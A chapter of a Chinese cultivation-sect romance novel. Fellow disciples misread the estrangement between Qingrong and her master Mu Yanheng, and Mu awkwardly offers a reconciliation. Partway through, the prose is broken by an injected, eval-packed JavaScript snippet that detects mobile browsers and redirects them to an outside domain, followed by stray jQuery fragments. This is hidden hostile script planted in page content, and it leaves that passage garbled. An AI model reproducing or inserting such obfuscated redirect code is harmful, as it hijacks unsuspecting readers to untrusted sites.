半月谷终究是他派之地,临霜教不便久留,青容伤势略微好转后,慕砚恒便带着众弟子启程返教。


    归途漫漫。


    青容默然坐在慕砚恒的飞剑上,与他共御一剑,寒风卷起两人的衣袂,偶尔交缠,又迅速分离。


    一路无言。


    直至回到门派,哪怕在栖星阁同住相隔甚近,青容也再没有像之前那样,有事没事寻着各种由头出现在他面前。


    一座无形的山在他们之间拔地而起,隔绝了所有往日的亲近。


    一连数日,都是如此,青容默默宅在房内养伤,慕砚恒也没来寻她,两人相安无事,有种诡异的默契。


    这样的异常连陆怀夕都有所察觉。


    “你和护教吵架了?”


    晨光熹微,剑坪上剑气纵横,陆怀夕收势归剑,目光掠过不远处独自练剑的青容,终是忍不住走近。


    自认为情绪掩盖得还不错的青容闻言微惊:“为什么这么说?”


    “你都能在晨练的时候练剑了,心情肯定不好。”


    “……”


    秋锦也凑了过来,见青容低下头似是默认,略有些担心:“啊?真吵架了?”


    在她的印象里,护教对青容是极好的,小事肯定能让则让,真吵起来,那绝对是大事。


    近处的欧阳晔也附和道:“肯定是,小师妹伤都没好透,正常来说肯定要待在护教身边慢慢养伤,但她今日就急匆匆来参加晨练了,以前都没这么积极,绝对是吵架。”


    “……几位,你们可否回避我之后再议论我。”


    欧阳晔郑重其事的点头:“好的。”然后他指向另一边,“走,我们去那边议论她。”


    青容:“……”


    他们三个还真的凑在一起聊了一会,半个字都没让她听见。


    引领晨练的龚柏清忍不住道:“你们仨,聊什么呢?好好练剑,晨练结束再聊。”


    欧阳晔高声:“师兄,小师妹跟护教吵架了。”


    众弟子练剑的动作明显出现错乱,一个个分心竖起耳朵,龚柏清一顿,非常自然地走过去:“大比那会不是还好好的,这是怎么了,也说给我听听,你们继续练。”


    青容举手:“我也想听。”


    “你不许听。”几人异口同声。


    “……”


    过了片刻,眼见这几人越说越激动,净是不着调的模样,连素来沉稳的龚柏清都开始同流合污,青容终于忍不住道:“呃,各位……我还没说到底有没有吵,你们究竟在分析什么?”


    欧阳晔抱着手臂,下巴一抬,已经把青容的话自动忽略了,完全沉浸在自己的构想里:“你们吵架还能因为什么?肯定是你在擂台上那股子不要命的拼劲儿,护教大人心疼了呗,结果你倒好,不当回事,还跟他顶嘴,换我我也得气炸。”


    “就是啊。”陆怀夕语气温柔的煽风点火,“你是不知道,你受伤那会儿我们有多担心,欧阳师兄当时急的恨不能冲上台替你打,我们尚且如此,更别说护教了,护教定然是气急了,所以会和你有言语上的争执。”


    “师妹啊。”龚柏清接过话头,语重心长,一副过来人劝架的姿态,“护教就是明摆着的关心则乱,说话可能……嗯,稍微难听了些,这真不是什么过不去的坎儿,听师兄一句劝,你先低个头,服个软,以护教的性子,回头说不定还得想法子哄你。”


    “嗯嗯!”秋锦也冒出来低调的附和了两声。


    青容:“……”


    她看着眼前这四位一脸笃定的模样,只觉得太阳穴突突直跳。


    事情原委一概不知,这和事佬的帽子倒是戴得一个比一个端正。


    她张了张嘴,最终只化作一声极其轻微的叹息。


    她能说什么?说根本不止如此,是因为她听到一些不该听的事,以至于慕砚恒用溯洄镜胁迫她了吗?


    “你们……”她声音干涩,眼神复杂的扫过四人,笑容有些僵硬,“真没什么,只是最近比较累,看着没精神。”


    欧阳晔看她这副欲言又止的样子,眉头皱得更紧,只当她是还在闹别扭:“啧,还嘴硬,你看你这表情,明明就是委屈了!”


    陆怀夕也柔声劝道:“师妹,护教待你如何,我们这些外人看得更清楚些,有时候啊,越是亲近的人,说话才越没轻重,他定然是后悔了,只是拉不下脸来……”


    “……知道了。”青容叹了口气,知晓此事说不通,也无心再辩,“多谢师兄师姐关心,我练剑练累了,想先回去休息。”


    说完,她几乎是逃也似的转身快步离开,光明正大辍了晨练。


    留下四人站在原地,面面相觑。


    “看吧,我就说她在闹别扭。”欧阳晔耸耸肩。


    “唉,她心思重,又倔。”龚柏清摇摇头,眼中满是怜惜。


    秋锦望着青容消失的方向,眉头微蹙,若有所思:“可是师兄师姐,我总觉得,青容师姐方才的眼神,不像是单纯的委屈赌气,倒像是……有什么难言之隐。”


    “哎,朝夕相处的师徒之间能有什么难言之隐,肯定就是抹不开面子。”欧阳晔大手一挥,斩钉截铁下了结论,“先别管了,说多了她也闹心,过几日还这样,我们再哄哄她,我是不信护教还能真跟她撕破脸不成?”


    秋锦也点点头,只是那丝隐隐的不安堵在心口,怎么也挥之不去。


    …


    晨光熹微,薄雾尚未散尽,栖星阁浸润在一片冷清的寂静里。


    青容缓缓推开自己的房门,屋内弥漫着经年累月的书墨气息,混合着清晨特有的微凉水汽,本该令人心神宁静,此刻却只让她感到一种无所适从的迷惘。


    慕砚恒这个人,实在过于复杂,他那置生死于不顾的凉薄不似作伪,夺剑的急切亦不似作伪,两种截然矛盾的态度集于一身,她简直不知前路该向何处。


    真是难啊。


    事到如今,唯有步步试探。


    她习惯性的走向书桌,目光却倏然凝住。


    那张熟悉的桌案上放着一个素雅的玉碟,碟中是几块口味不同的糖糕,摆放的很齐整。


    青容心头泛起一丝荒谬。


    她还没做什么呢,慕砚恒倒是先发制人,试探上她的态度了。


    她静静看了几秒,伸手端起玉碟,打算将其拿到外面处理掉。


    生死胁迫,不是顺手送来一盘糕点能糊弄过去的,否则今后遇到再大的事,慕砚恒也会觉得随随便便就能打发她,完全不把她当人看。


    她可没有甘心受虐以德报怨的爱好。


    “回来了?”


    一道低沉的声音从书架旁的阴影里响起。


    青容的动作顿住,端着碟子的手停在半空。


    她缓缓转过身,只见慕砚恒的身影从暗处踱步而出,他并未靠近,停在几步开外,目光先是落在她手中的玉碟上,再抬眼看她。


    那双眼里没了平日的冰冷,沉着一片静默。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413549|178579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “嗯。”青容应了一声,甚至没有问慕砚恒怎会出现在她的房间,她端着碟子,既不放下,也不动作,只是静静的看着他,等待他的下文。


    慕砚恒被她这平静到近乎漠然的目光看得心头一滞,他喉结滚动了一下,似乎在斟酌词句,目光下意识扫过她的左手,顿了片刻,才用一种生硬的语调开口:“手上的伤好些了么?”


    这突兀的关心,让阁楼内的空气凝滞了一瞬。


    青容心中冷笑,眼前的这个人,前一刻还在阴影中窥视,现在倒是用这种别扭的方式询问她的伤势。


    “劳师父挂心,皮外伤已无碍,内伤多调息便好。”她声音没什么起伏,“至于其他的,便算了。”


    慕砚恒显然听懂了她的言外之意,他的目光再次掠过她手中那盘未动的糕点,低叹一声。


    “无事便好,今后的晨练你不必再去了。”他略一停顿,补充道,“你若是想去,也依你。”


    “等伤好了还是得去的,常日懈怠总是不妥,旁的同门见了也会心生不平,大师兄总和我说,身为护教亲传弟子,当为诸弟子表率。”


    她故意把“护教亲传弟子”几个字咬得极重。


    慕砚恒移开视线,望向庭院深处:“以你的剑法,教中无人敢置喙半分,其他人若能练到你这般境地,不去晨练,亦是理所应当。”


    “师父这是在夸我?”青容笑了笑,“说来也怪,前些年师父总揪着我右手剑那点事儿,如今我当真使用,师父反倒不闻不问了,师父难道就不好奇,我这剑法是从哪学的?”


    慕砚恒眉心一蹙,薄唇微动,最终归于沉默。


    他当然好奇,可他已不愿深究。


    “你把仇人的女儿日日夜夜养在身边,陪她长大,教她剑法,看着她像今天这样,为了你们临霜教的荣光,拼得一身是血半死不活的时候,心里在想什么?”


    这句话像一柄冰冷的锉刀,割开了他自设的屏障。


    正如纪苍华所说,那时候,他的心底有过一瞬间的震颤。


    那是难以形容的层层跌宕。


    在内心最幽暗的角落,他最开始曾掠过一丝近乎残忍的念头——她越是拼命,越是证明她已归属临霜教,甚至归属于他,愿意为了他付出一切,最初的目的似乎已经达到,这是不是对他隐忍多年计划的一种成功的证明?


    然而,这丝阴暗的快意刚刚冒头,就被一股更汹涌的情绪瞬间淹没。


    当视线再次触及擂台上那单薄的身影时,他只觉得心脏骤然一紧,好像被一只无形的手狠狠攥住。


    那一刻,他仿佛能感受到剑气撕裂皮肉时带来的战栗,那个总在他面前叽叽喳喳的女孩与那浴血的身影重叠,翻江倒海般激起无声的震荡。


    这痛感无关仇恨,纯粹源于漫长岁月里,那些朝夕相处刻入的无法抹杀的本能。


    他开始心软了。


    “这糕既不合心意,便扔了吧,好生歇息,今夜戌时三刻,穹川殿设宴庆功,贺你夺魁晋阶之喜,你身为主角,不可缺席。”


    他话语微顿,就在青容以为交代已毕,他即将举步离去之际。


    一句低沉而清晰的话语,裹挟着清晨沁着凉意的风,落入青容的耳畔。


    “我会等你。”


    慕砚恒终究先一步做了退让。


    在这汹涌的矛盾洪流之中,他终于感受到一丝毛骨悚然的寒意。


    他的恨……已经没有那么纯粹了。